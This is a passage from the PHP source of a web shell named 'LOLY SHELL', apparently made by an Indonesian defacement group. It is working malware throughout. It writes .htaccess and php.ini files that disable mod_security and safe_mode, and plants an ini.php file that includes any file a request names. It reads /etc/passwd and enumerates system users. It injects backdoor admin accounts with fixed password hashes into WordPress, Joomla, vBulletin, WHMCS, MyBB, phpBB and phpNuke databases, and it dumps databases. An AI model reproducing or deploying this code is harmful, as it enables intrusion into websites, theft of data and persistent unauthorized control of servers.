1568echo "</textarea></center>";
1569}
1570?>
1571
1572 <?php
1573 }
1574
1575
1576 if($action=="disfunc"){
1577 ?>
1578 <br />
1579 <center>
1580 <table>
1581 <tr><td>
1582 <form action="?action=disfunc&submit=bypass&bypass=apache&dir=<?php echo $path ?>" method="post">
1583 <input type="submit" value="htaccess apache" />
1584 </form>
1585
1586 </td><td>
1587
1588 <form action="?action=disfunc&submit=bypass&bypass=litespeed&dir=<?php echo $path ?>" method="post">
1589 <input type="submit" value="htaccess litespeed" />
1590 </form>
1591 </td><td>
1592 <form action="?action=disfunc&submit=bypass&bypass=phpini&dir=<?php echo $path ?>" method="post">
1593 <input type="submit" value="php.ini" />
1594 </form>
1595 </td>
1596 <td>
1597 <form action="?action=disfunc&submit=bypass&bypass=etcpasswd&dir=<?php echo $path ?>" method="post">
1598 <input type="submit" value="Read etc/passwd" />
1599 </form>
1600
1601 </td>
1602 <td>
1603 <form action="?action=disfunc&submit=bypass&bypass=readusers&dir=<?php echo $path ?>" method="post">
1604 <input type="submit" value="Read Users" />
1605 </form>
1606
1607 </td></tr>
1608 </table>
1609 </center>
1610 <?php
1611
1612 if(isset($_REQUEST['submit']) && $_REQUEST['submit']=="bypass"){
1613
1614 $bypass = $_REQUEST['bypass'];
1615
1616 if($bypass=="apache"){
1617 ?>
1618
1619 <?php
1620 $fil=fopen($path."/".".htaccess","w");
1621fwrite($fil,'#Generated By FirmanCyb#erLoly_
1622<IfModule mod_security.c>
1623Sec------Engine Off
1624Sec------ScanPOST Off
1625</IfModule>');
1626fclose($fil);
1627echo '<script>alert("htaccess for Apache was created.");document.location.href="?action=disfunc&dir='.$path.'";</script>';
1628
1629?>
1630 <?php
1631 } elseif($bypass=="phpini"){
1632 ?>
1633 <?php
1634 $fil=fopen($path."/"."php.ini","w");
1635fwrite($fil,'safe_mode=OFF
1636disable_functions=ByPass By FirmanCyb#erLoly_');
1637fclose($fil);
1638$file2=fopen($path."/"."ini.php","w");
1639fwrite($file2,'<?
1640echo ini_get("safe_mode");
1641echo ini_get("open_basedir");
1642include($_GET["file"]);
1643ini_restore("safe_mode");
1644ini_restore("open_basedir");
1645echo ini_get("safe_mode");
1646echo ini_get("open_basedir");
1647include($_GET["ss"]);
1648?>');
1649fclose($file2);
1650echo '<script>alert("php.ini && ini.php was created.");document.location.href="?action=disfunc&dir='.$path.'";</script>';
1651?>
1652
1653 <?php
1654
1655 } elseif($bypass=="litespeed"){
1656 ?>
1657 <?php
1658 $fil=fopen($path."/".".htaccess","w");
1659fwrite($fil,'#Generated By FirmanCyb#erLoly_
1660<Files *.php>
1661ForceType application/x-httpd-php4
1662</Files>
1663ahm tas: <IfModule mod_security.c>
1664SecFilterEngine Off
1665SecFilterScanPOST Off
1666</IfModule>');
1667fclose($fil);
1668echo '<script>alert("htaccess for Litespeed was created.");document.location.href="?action=disfunc&dir='.$path.'";</script>';
1669?>
1670 <?php
1671
1672 } elseif($bypass=="etcpasswd"){
1673 echo '<br><pre style="border:2px solid #CE3F3F;padding:5px;margin:0;overflow: auto;">';
1674 if(function_exists("system") || function_exists("exec") || function_exists("passthru") || function_exists("shell_exec")){
1675 echo extension("cat /etc/passwd");
1676 }
1677 elseif(function_exists("file_get_contents") && is_readable("/etc/passwd")){
1678 echo file_get_contents("/etc/passwd");
1679 }
1680 elseif(function_exists("posix_getpwuid")){
1681 for($uid=0;$uid<60000;$uid++){
1682 $ara = @posix_getpwuid($uid);
1683 if (!empty($ara)) {
1684 while (list ($key, $val) = each($ara)){
1685 print "$val:";
1686 }print "\n";}}
1687 } else{echo '<script>alert("Error in bypass...")</script>';}
1688 } elseif($bypass=="readusers"){
1689 if(!@file_exists("/etc/virtual/domainowners")){
1690 echo '<br><pre style="border:2px solid #CE3F3F;padding:5px;margin:0;overflow: auto;">';
1691 $i = 0;
1692 while ($i < 60000) {
1693 $line = posix_getpwuid($i);
1694 if (!empty($line)) {
1695 while (list ($key, $vl) = each($line)){
1696 echo $vl."\n";
1697 break;}}$i++;}
1698 }else{echo '<pre style="border:2px solid #CE3F3F;padding:5px;margin:0;overflow: auto;"><br>';
1699 $users = @file("/etc/virtual/domainowners");
1700 foreach($users as $boz){
1701 $user = explode(":",$boz);
1702 echo trim($user[1]).'<br>';}}
1703 }
1704 }
1705
1706 ?>
1707
1708 <?php
1709 }
1710
1711 if($action=="info"){
1712 ?>
1713
1714 <br />
1715 <?php
1716 echo '<div class=phpinfo><style>.p {color:#000;}</style>';
1717ob_start();
1718phpinfo();
1719$tmp = ob_get_clean();
1720$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2, hr) {.*}!msiU','',$tmp);
1721$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
1722echo str_replace('<h1','<h2', $tmp) .'</div><br>';
1723 ?>
1724
1725 <?php
1726 }
1727 if($action=="aboutus"){
1728echo "<style>#aboutus{background: #A81F1F}</style>";
1729
1730 ?>
1731 <br />
1732 <center>
1733 <img src="https://s33.postimg.cc/ry7gh0vq7/lc_In_P8_H.png" /><br />
1734 <span style="color:#F00;font-size:20px">LOLY SHELL</span><br />
1735 <span style="font-size:19px">Developed By <a target="_blank" href="http://www.loly704.zone.id/">FirmanCyb#erLoly_</a></span><br />
1736
1737 <span>All member D704T</span><br />
1738 <span>Our Residence: <a href="http://www.indoxploit.or.id" target="_blank">IndoXploit</a><br />
1739 <span><br>IndoXploit Coders Team</span><br />
1740 </center>
1741 <?php
1742 }
1743 if($action=="rmshell"){
1744 echo "<style>#rmshell{background: #A81F1F}</style>";
1745
1746 ?>
1747
1748 <form action="?action=rmshell" method="post">
1749 <span>Do You Really Want To Remove Shell?</span>
1750 <input type="submit" value="Yes" name="accept" style="cursor: pointer"/>
1751 <input type="button" value="No" onclick="window.location.href='?action=explorer'" style="cursor: pointer"/>
1752 </form>
1753
1754 <?php
1755 if(isset($_POST['accept']) && $_POST['accept'] != "" && $_POST['accept']=="Yes"){
1756
1757if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1758die('<b>Sheller has been removed</i> :)</b>');
1759else
1760echo 'unlink error!';
1761
1762
1763 }
1764
1765
1766 }
1767
1768
1769if($action=="pwchanger"){
1770
1771?>
1772<center>
1773<br>
1774<div class="pwchanger">
1775<a href="?action=pwchanger&cms=wp"><input type="button" value="Wordpress"></a>
1776<a href="?action=pwchanger&cms=joomla"><input type="button" value="Joomla"></a>
1777<a href="?action=pwchanger&cms=vb"><input type="button" value="vBulletin"></a>
1778<a href="?action=pwchanger&cms=whmcs"><input type="button" value="WHMCS"></a>
1779<a href="?action=pwchanger&cms=mybb"><input type="button" value="MyBB"></a>
1780<a href="?action=pwchanger&cms=phpbb"><input type="button" value="phpBB"></a>
1781<a href="?action=pwchanger&cms=phpnuke"><input type="button" value="phpNuke"></a>
1782</div>
1783</center>
1784<?php
1785
1786if(isset($_GET['cms']) && $_GET['cms']!=""){
1787$cms=$_GET['cms'];
1788if($cms=="wp"){
1789?>
1790<br>
1791<b>ADD NEW ADMIN WORDPRESS</b>
1792<form action="?action=pwchanger&cms=wp" method="POST">
1793<table>
1794<tr><td>Host :</td>
1795<td><input size="30" value="localhost" name="localhost" type="text"></td></tr>
1796<tr><td>Database :</td>
1797<td> <input size="30" value="" name="database" type="text"></td></tr>
1798<tr><td>Table Prefix :</td>
1799<td><input size="30" value="wp_" name="prefix" type="text"></td></tr>
1800<tr><td>Username : </td>
1801<td> <input size="30" value="" name="username" type="text"></td></tr>
1802<tr><td>Password :</td>
1803<td> <input size="30" value="" name="password" type="text"></td></tr>
1804<tr><td>Admin Username:</td>
1805<td><input name="admin" size="30" value="admin"></td></tr>
1806<tr><td>Admin Password: </td>
1807<td><input name="pass" size="30" value="ashiyane" disabled /></td></tr>
1808<tr><td><Admin Email:</td>
1809<td><input name="email" size="30" value="info@ashiyane.ir"></td></tr>
1810</table>
1811<input value="Change" name="submit" type="submit">
1812</form>
1813
1814
1815<?php
1816
1817
1818if (isset($_POST['submit']) && $_POST['submit'] == 'Change'){
1819
1820 $localhost = $_POST['localhost'];
1821 $database = $_POST['database'];
1822 $username = $_POST['username'];
1823 $password = $_POST['password'];
1824 $admin = $_POST['admin'];
1825 $email = $_POST['email'];
1826 $prefix = $_POST['prefix'];
1827 @mysql_connect($localhost,$username,$password) or die(mysql_error());
1828 @mysql_select_db($database) or die(mysql_error());
1829 $result=@mysql_query("insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,'$admin','dfcaf717b6731a6f62baabad524a8517','$email')") or die(mysql_error());
1830 $result=@mysql_query("select ID from ".$prefix."users where user_login='".$admin."'") or die(mysql_error());
1831 $res = mysql_num_rows($result);
1832 if ($res == 1){
1833 $resvis = mysql_fetch_assoc($result);
1834 $res = $resvis['ID'];
1835 }
1836 $result=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','first_name','result')") or die(mysql_error());
1837 $result=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','last_name','result')") or die(mysql_error());
1838 $result=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','nickname','result')") or die(mysql_error());
1839 $result=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','description','result')") or die(mysql_error());
1840 $result=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','rich_editing','true')") or die(mysql_error());
1841 $result=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','comment_shortcuts','false')") or die(mysql_error());
1842 $result=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','admin_color','fresh')") or die(mysql_error());
1843 $result=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','use_ssl','0')") or die(mysql_error());
1844 $result=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','show_admin_bar_front','true')") or die(mysql_error());
1845 $result=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','wp_capabilities','a:1:{s:13:\"administrator\";b:1;}')") or die(mysql_error());
1846 $result=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','wp_user_level','10')") or die(mysql_error());
1847 $result=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','dismissed_wp_pointers','wp330_toolbar,wp330_saving_widgets,wp340_choose_image_from_library,wp340_customize_current_theme_link,wp350_media')") or die(mysql_error());
1848 $result=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','show_welcome_panel','1')") or die(mysql_error());
1849 $result=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','wp_dashboard_quick_press_last_post_id','3')") or die(mysql_error());
1850 if($result){
1851 echo "<center><br><b><script>alert('".$admin." is created successfully.')</script></b></center> ";
1852 }
1853
1854
1855
1856}
1857
1858}
1859
1860if($cms=="joomla"){
1861?>
1862<br>
1863<b>ADD NEW ADMIN JOOMLA</b>
1864<form action="?action=pwchanger&cms=joomla" method="POST">
1865<table>
1866<tr><td>Host :</td>
1867<td><input size="30" value="localhost" name="localhost" type="text"></td></tr>
1868<tr><td>Database :</td>
1869<td> <input size="30" value="" name="database" type="text"></td></tr>
1870<tr><td>Table Prefix :</td>
1871<td><input size="30" value="jos_" name="prefix" type="text"></td></tr>
1872<tr><td>Username : </td>
1873<td> <input size="30" value="" name="username" type="text"></td></tr>
1874<tr><td>Password :</td>
1875<td> <input size="30" value="" name="password" type="text"></td></tr>
1876<tr><td>Admin Username:</td>
1877<td><input name="admin" size="30" value="admin"></td></tr>
1878<tr><td>Admin Password: </td>
1879<td><input name="pass" size="30" value="ashiyane" disabled /></td></tr>
1880<tr><td>Admin Email:</td>
1881<td><input name="email" size="30" value="info@ashiyane.ir"></td></tr>
1882</table>
1883<input value="Change" name="submit" type="submit">
1884</form>
1885
1886<?php
1887if (isset($_POST['submit']) && $_POST['submit'] == 'Change'){
1888
1889 $localhost = $_POST['localhost'];
1890 $database = $_POST['database'];
1891 $username = $_POST['username'];
1892 $password = $_POST['password'];
1893 $admin = $_POST['admin'];
1894 $email = $_POST['email'];
1895 $prefix = $_POST['prefix'];
1896 @mysql_connect($localhost,$username,$password) or die(mysql_error());
1897 @mysql_select_db($database) or die(mysql_error());
1898 $result=@mysql_query("insert into ".$prefix."users (id,name,username,email,password) values(null,'Super User','".$admin."','".$email."','dfcaf717b6731a6f62baabad524a8517')") or die(mysql_error());
1899 $result=@mysql_query("select id from ".$prefix."users where username='".$admin."'") or die(mysql_error());
1900 $res = mysql_num_rows($result);
1901 if ($res == 1){
1902 $resvis = mysql_fetch_assoc($result);
1903 $res = $resvis['id'];
1904 }
1905 $result=@mysql_query("INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES ('".$res."', '8')") or die(mysql_error());
1906 if($result){
1907 echo "<center><br><b><script>alert('".$admin." is created successfully.')</script></b></center> "; }
1908
1909
1910}
1911
1912}
1913
1914if($cms=="vb"){
1915 ?>
1916 <br>
1917 <b>ADD NEW ADMIN VBULLETIN</b>
1918<form action="?action=pwchanger&cms=vb" method="POST">
1919<table>
1920<tr><td>Host :</td>
1921<td><input size="30" value="localhost" name="localhost" type="text"></td></tr>
1922<tr><td>Database :</td>
1923<td> <input size="30" value="" name="database" type="text"></td></tr>
1924<tr><td>Table Prefix :</td>
1925<td><input size="30" value="" name="prefix" type="text"></td></tr>
1926<tr><td>Username : </td>
1927<td> <input size="30" value="" name="username" type="text"></td></tr>
1928<tr><td>Password :</td>
1929<td> <input size="30" value="" name="password" type="text"></td></tr>
1930<tr><td>Admin Username:</td>
1931<td><input name="admin" size="30" value="admin"></td></tr>
1932<tr><td>Admin Password: </td>
1933<td><input name="pass" size="30" value="ashiyane" disabled /></td></tr>
1934<tr><td>Admin Email:</td>
1935<td><input name="email" size="30" value="info@ashiyane.ir"></td></tr>
1936</table>
1937<input value="Change" name="submit" type="submit">
1938</form>
1939<?php
1940 if (isset($_POST['submit']) && $_POST['submit'] == 'Change'){
1941
1942 $localhost = $_POST['localhost'];
1943 $database = $_POST['database'];
1944 $username = $_POST['username'];
1945 $password = $_POST['password'];
1946 $admin = $_POST['admin'];
1947 $email = $_POST['email'];
1948 $prefix = $_POST['prefix'];
1949 @mysql_connect($localhost,$username,$password) or die(mysql_error());
1950 @mysql_select_db($database) or die(mysql_error());
1951
1952 $result=@mysql_query("insert into {$prefix}user (userid,usergroupid,username,password,salt,email) values(null,'6','$admin','efacb3b2c13f0363459bffe5d6f30631','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','$email')") or die(mysql_error());
1953 $result=@mysql_query("select userid from {$prefix}user where username='".$admin."'") or die(mysql_error());
1954 $res = mysql_num_rows($result);
1955 if ($res == 1){
1956 $resvis = mysql_fetch_assoc($result);
1957 $res = $resvis['userid'];
1958 }
1959 $result=@mysql_query("insert into {$prefix}administrator (userid,adminpermissions) values('".$res."','16744444')") or die(mysql_error());
1960 if($result){
1961 echo "<center><br><b><script>alert('".$admin." is created successfully.')</script></b></center> "; }
1962 }
1963}
1964
1965if($cms=="phpbb"){
1966?>
1967<br>
1968<b>ADD NEW ADMIN PHPBB</b>
1969<form action="?action=pwchanger&cms=phpbb" method="POST">
1970<table>
1971<tr><td>Host :</td>
1972<td><input size="30" value="localhost" name="localhost" type="text"></td></tr>
1973<tr><td>Database :</td>
1974<td> <input size="30" value="" name="database" type="text"></td></tr>
1975<tr><td>Table Prefix :</td>
1976<td><input size="30" value="" name="prefix" type="text"></td></tr>
1977<tr><td>Username : </td>
1978<td> <input size="30" value="" name="username" type="text"></td></tr>
1979<tr><td>Password :</td>
1980<td> <input size="30" value="" name="password" type="text"></td></tr>
1981<tr><td>Admin Username:</td>
1982<td><input name="admin" size="30" value="admin"></td></tr>
1983<tr><td>Admin Password: </td>
1984<td><input name="pass" size="30" value="ashiyane" disabled /></td></tr>
1985<tr><td>Admin Email:</td>
1986<td><input name="email" size="30" value="info@ashiyane.ir"></td></tr>
1987</table>
1988<input value="Change" name="submit" type="submit">
1989</form>
1990
1991<?php
1992if (isset($_POST['submit']) && $_POST['submit'] == 'Change'){
1993
1994 $localhost = $_POST['localhost'];
1995 $database = $_POST['database'];
1996 $username = $_POST['username'];
1997 $password = $_POST['password'];
1998 $admin = $_POST['admin'];
1999 $pass = $_POST['pass'];
2000 $email = $_POST['email'];
2001 $prefix = $_POST['prefix'];
2002 $hash = md5($pass);
2003 @mysql_connect($localhost,$username,$password) or die(mysql_error());
2004 @mysql_select_db($database) or die(mysql_error());
2005 $result=@mysql_query("UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE username_clean = 'admin'") or die(mysql_error());
2006 $result=@mysql_query("UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE username_clean = 'admin'") or die(mysql_error());
2007 $result=@mysql_query("UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE user_type = 3") or die(mysql_error());
2008 $result=@mysql_query("UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE user_type = 3") or die(mysql_error());
2009 $result=@mysql_query("UPDATE ".$prefix."users SET user_email ='".$SQL."' WHERE username_clean = 'admin'") or die(mysql_error());
2010 if($result){
2011 echo "<center><br><b><script>alert('".$admin." is created successfully.')</script></b></center> ";
2012 }
2013
2014
2015}
2016}
2017
2018if($cms=="whmcs"){
2019
2020 ?>
2021 <br>
2022 <b>ADD NEW ADMIN WHMCS</b>
2023<form action="?action=pwchanger&cms=whmcs" method="POST">
2024<table>
2025<tr><td>Host :</td>
2026<td><input size="30" value="localhost" name="localhost" type="text"></td></tr>
2027<tr><td>Database :</td>
2028<td> <input size="30" value="" name="database" type="text"></td></tr>
2029<tr><td>Username : </td>
2030<td> <input size="30" value="" name="username" type="text"></td></tr>
2031<tr><td>Password :</td>
2032<td> <input size="30" value="" name="password" type="text"></td></tr>
2033<tr><td>Admin Username:</td>
2034<td><input name="admin" size="30" value="admin"></td></tr>
2035<tr><td>Admin Password: </td>
2036<td><input name="pass" size="30" value="ashiyane" disabled /></td></tr>
2037<tr><td>Admin Email:</td>
2038<td><input name="email" size="30" value="info@ashiyane.ir"></td></tr>
2039</table>
2040<input value="Change" name="submit" type="submit">
2041</form>
2042
2043 <?php
2044 if (isset($_POST['submit']) && $_POST['submit'] == 'Change'){
2045
2046 $localhost = $_POST['localhost'];
2047 $database = $_POST['database'];
2048 $username = $_POST['username'];
2049 $password = $_POST['password'];
2050 $admin = $_POST['admin'];
2051 $email = $_POST['email'];
2052
2053 @mysql_connect($localhost,$username,$password) or die(mysql_error());
2054 @mysql_select_db($database) or die(mysql_error());
2055 $result=@mysql_query("insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','".$admin."','dfcaf717b6731a6f62baabad524a8517','".$email."','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysql_error());
2056 if($result){
2057 echo "<center><br><b><script>alert('".$admin." is created successfully.')</script></b></center> ";
2058 }
2059
2060 }
2061
2062}
2063
2064if($cms=="mybb"){
2065
2066?>
2067<br>
2068<b>ADD NEW ADMIN MYBB</b>
2069<form action="?action=pwchanger&cms=mybb" method="POST">
2070<table>
2071<tr><td>Host :</td>
2072<td><input size="30" value="localhost" name="localhost" type="text"></td></tr>
2073<tr><td>Database :</td>
2074<td> <input size="30" value="" name="database" type="text"></td></tr>
2075<tr><td>Table Prefix :</td>
2076<td><input size="30" value="" name="prefix" type="text"></td></tr>
2077<tr><td>Username : </td>
2078<td> <input size="30" value="" name="username" type="text"></td></tr>
2079<tr><td>Password :</td>
2080<td> <input size="30" value="" name="password" type="text"></td></tr>
2081<tr><td>Admin Username:</td>
2082<td><input name="admin" size="30" value="admin"></td></tr>
2083<tr><td>Admin Password: </td>
2084<td><input name="pass" size="30" value="ashiyane" disabled /></td></tr>
2085<tr><td>Admin Email:</td>
2086<td><input name="email" size="30" value="info@ashiyane.ir"></td></tr>
2087</table>
2088<input value="Change" name="submit" type="submit">
2089</form>
2090
2091<?php
2092
2093 if (isset($_POST['submit']) && $_POST['submit'] == 'Change'){
2094
2095 $localhost = $_POST['localhost'];
2096 $database = $_POST['database'];
2097 $username = $_POST['username'];
2098 $password = $_POST['password'];
2099 $admin = $_POST['admin'];
2100 $email = $_POST['email'];
2101 $prefix = $_POST['prefix'];
2102 @mysql_connect($localhost,$username,$password) or die(mysql_error());
2103 @mysql_select_db($database) or die(mysql_error());
2104 $result=@mysql_query("insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,'".$admin."','c93bfab2a4d210f8cbf8bc0fcfbba67b','ywza68lS','".$email."','4')") or die(mysql_error());
2105 if($result){
2106 echo "<center><br><b><script>alert('".$admin." is created successfully.')</script></b></center> ";
2107 }
2108 }
2109 }
2110
2111if($cms=="phpnuke"){
2112
2113 ?>
2114 <br>
2115 <b>ADD NEW ADMIN PHP NUKE</b>
2116 <form action="?action=pwchanger&cms=phpnuke" method="POST">
2117<table>
2118<tr><td>Host :</td>
2119<td><input size="30" value="localhost" name="localhost" type="text"></td></tr>
2120<tr><td>Database :</td>
2121<td> <input size="30" value="" name="database" type="text"></td></tr>
2122<tr><td>Table Prefix :</td>
2123<td><input size="30" value="" name="prefix" type="text"></td></tr>
2124<tr><td>Username : </td>
2125<td> <input size="30" value="" name="username" type="text"></td></tr>
2126<tr><td>Password :</td>
2127<td> <input size="30" value="" name="password" type="text"></td></tr>
2128<tr><td>Admin Username:</td>
2129<td><input name="admin" size="30" value="admin"></td></tr>
2130<tr><td>Admin Password: </td>
2131<td><input name="pass" size="30" value="ashiyane" disabled /></td></tr>
2132<tr><td>Admin Email:</td>
2133<td><input name="email" size="30" value="info@ashiyane.ir"></td></tr>
2134</table>
2135<input value="Change" name="submit" type="submit">
2136</form>
2137
2138 <?php
2139 if (isset($_POST['submit']) && $_POST['submit'] == 'Change'){
2140 $localhost = $_POST['localhost'];
2141 $database = $_POST['database'];
2142 $username = $_POST['username'];
2143 $password = $_POST['password'];
2144 $admin = $_POST['admin'];
2145 $email = $_POST['email'];
2146 $prefix = $_POST['prefix'];
2147 @mysql_connect($localhost,$username,$password) or die(mysql_error());
2148 @mysql_select_db($database) or die(mysql_error());
2149 @mysql_connect($localhost,$username,$password) or die(mysql_error());
2150 @mysql_select_db($database) or die(mysql_error());
2151 $result=@mysql_query("insert into ".prefix."_authors(aid,name,email,pwd) values('$admin','God','$email','dfcaf717b6731a6f62baabad524a8517')") or die(mysql_error());
2152 if($result){
2153 echo "<center><br><b><script>alert('".$admin." is created successfully.')</script></b></center> ";
2154 }
2155 }
2156
2157}
2158}
2159}
2160
2161 //sql connector ~ by Mast3r 0mid
2162 if($action=="sql"){
2163 echo "<style>#sql{background: #A81F1F}</style>";
2164
2165$pwd = realpath(".")."\\";
2166 function backup_tables($host,$user,$pass,$name,$tables = '*')
2167 {
2168
2169 $link = mysql_connect($host,$user,$pass);
2170 mysql_select_db($name,$link);
2171
2172 //get all of the tables
2173 if($tables == '*')
2174 {
2175 $tables = array();
2176 $result = mysql_query('SHOW TABLES');
2177 while($row = mysql_fetch_row($result))
2178 {
2179 $tables[] = $row[0];
2180 }
2181 }
2182 else
2183 {
2184 $tables = is_array($tables) ? $tables : explode(',',$tables);
2185 }
2186
2187 //cycle through
2188 foreach($tables as $table)
2189 {
2190 $result = mysql_query('SELECT * FROM '.$table);
2191 $num_fields = mysql_num_fields($result);
2192
2193 $return= 'DROP TABLE '.$table.';';
2194 $row2 = mysql_fetch_row(mysql_query('SHOW CREATE TABLE '.$table));
2195 $return.= "\n\n".$row2[1].";\n\n";
2196
2197 for ($i = 0; $i < $num_fields; $i++)
2198 {
2199 while($row = mysql_fetch_row($result))
2200 {
2201 $return.= 'INSERT INTO '.$table.' VALUES(';
2202 for($j=0; $j<$num_fields; $j++)
2203 {
2204 $row[$j] = addslashes($row[$j]);
2205 $row[$j] = ereg_replace("\n","\\n",$row[$j]);
2206 if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
2207 if ($j<($num_fields-1)) { $return.= ','; }
2208 }
2209 $return.= ");\n";
2210 }
2211 }
2212 $return.="\n\n\n";
2213 }
2214
2215 //save file
2216 $handle = fopen('db-backup'.time().'-'.(md5(implode(',',$tables))).'.sql','w+');
2217 fwrite($handle,$return);
2218
2219
2220 fclose($handle);
2221 }
2222
2223
2224if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport']))
2225 {
2226
2227
2228
2229 $sqlhost = $_GET['sqlhost']; $sqluser = $_GET['sqluser']; $sqlpass = $_GET['sqlpass']; $sqlport = $_GET['sqlport'];
2230 if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass))
2231 {
2232 $msg = "";
2233 $msg .= "<div style=\"width:99%;padding:4px 10px 0 10px;\">";
2234 $msg .= "<p>Connected to ".$sqluser."<span class=\"gaya\">@</span>".$sqlhost.":".$sqlport;
2235 $msg .= " <span class=\"gaya\">-></span> <a href=\"?action=sql&y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&\">[ databases ]</a>";
2236 if(isset($_GET['db']))
2237 $msg .= " <span class=\"gaya\">-></span>
2238 <a href=\"?action=sql&y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."\">".htmlspecialchars($_GET['db'])."</a>";
2239 if(isset($_GET['table']))
2240 $msg .= " <span class=\"gaya\">->
2241 </span>
2242 <a href=\"?action=sql&y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."&table=".$_GET['table']."\">".htmlspecialchars($_GET['table'])."</a>";
2243 $msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
2244 $msg .= "</div>";
2245 echo $msg;
2246 if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery'])))
2247 {
2248 $db = $_GET['db'];
2249
2250
2251 echo "<a href=\"?action=sql&y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$_GET['db']."&dump\">"."<input type='button' value='Dump Current DB'>"."</a>";
2252
2253 if(isset($_GET['dump'])){
2254 backup_tables($sqlhost,$sqluser,$sqlpass,$db);
2255 echo "Successully Dumped.";
2256
2257
2258 }
2259 $query = "DROP TABLE IF EXISTS Newbie3viLc063s0_table;
2260 \nCREATE TABLE `Ashiyane Digital Security Team` ( `file` LONGBLOB NOT NULL );
2261 \nLOAD DATA INFILE \"/etc/passwd\"\nINTO TABLE Mast3r_table;SELECT * FROM Ashiyane_table;
2262 \nDROP TABLE IF EXISTS Ashiyane_table;";
2263 $msg = "<div style=\"width:99%;padding:0 10px;\">
2264 <form action=\"?\" method=\"get\">
2265 <input type=\"hidden\" name=\"action\" value=\"sql\" />
2266 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
2267 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
2268 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
2269 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
2270 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
2271 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
2272 <input type=\"hidden\" name=\"db\" value=\"".$db."\" />
2273 <p><textarea name=\"sqlquery\" class=\"output\" style=\"width:98%;height:80px;\">$query</textarea></p>
2274 <p><input class=\"inputzbut\" style=\"width:80px;\" name=\"submitquery\" type=\"submit\" value=\"Go\" /></p>
2275 </form>
2276 </div> ";
2277 $tables = array();
2278 $msg .= "<table class=\"explore\" style=\"width:99%;\"><tr><th>available tables on ".htmlspecialchars($db)."</th></tr>";
2279 $hasil = @mysql_list_tables($db,$con);
2280 while(list($table) = @mysql_fetch_row($hasil))
2281 { @array_push($tables,$table); }
2282 @sort($tables);
2283 foreach($tables as $table)
2284 {
2285 $msg .= "<tr><td><a href=\"?action=sql&y=".$pwd."&x=mysql&sqlhost=".$sqlhost."&sqluser=".$sqluser."&sqlpass=".$sqlpass."&sqlport=".$sqlport."&db=".$db."&table=".$table."\">$table</a></td></tr>";
2286 }
2287 $msg .= "</table>";
2288 }
2289 elseif(isset($_GET['table']) && (!isset($_GET['sqlquery'])))
2290 {
2291 $db = $_GET['db'];
2292 $table = $_GET['table'];
2293 $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
2294 $msgq = "<div style=\"width:99%;padding:0 10px;\">
2295 <form action=\"?\" method=\"get\">
2296 <input type=\"hidden\" name=\"action\" value=\"sql\" />
2297 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
2298 <input type=\"hidden\" name=\"x\" value=\"mysql\" />
2299 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
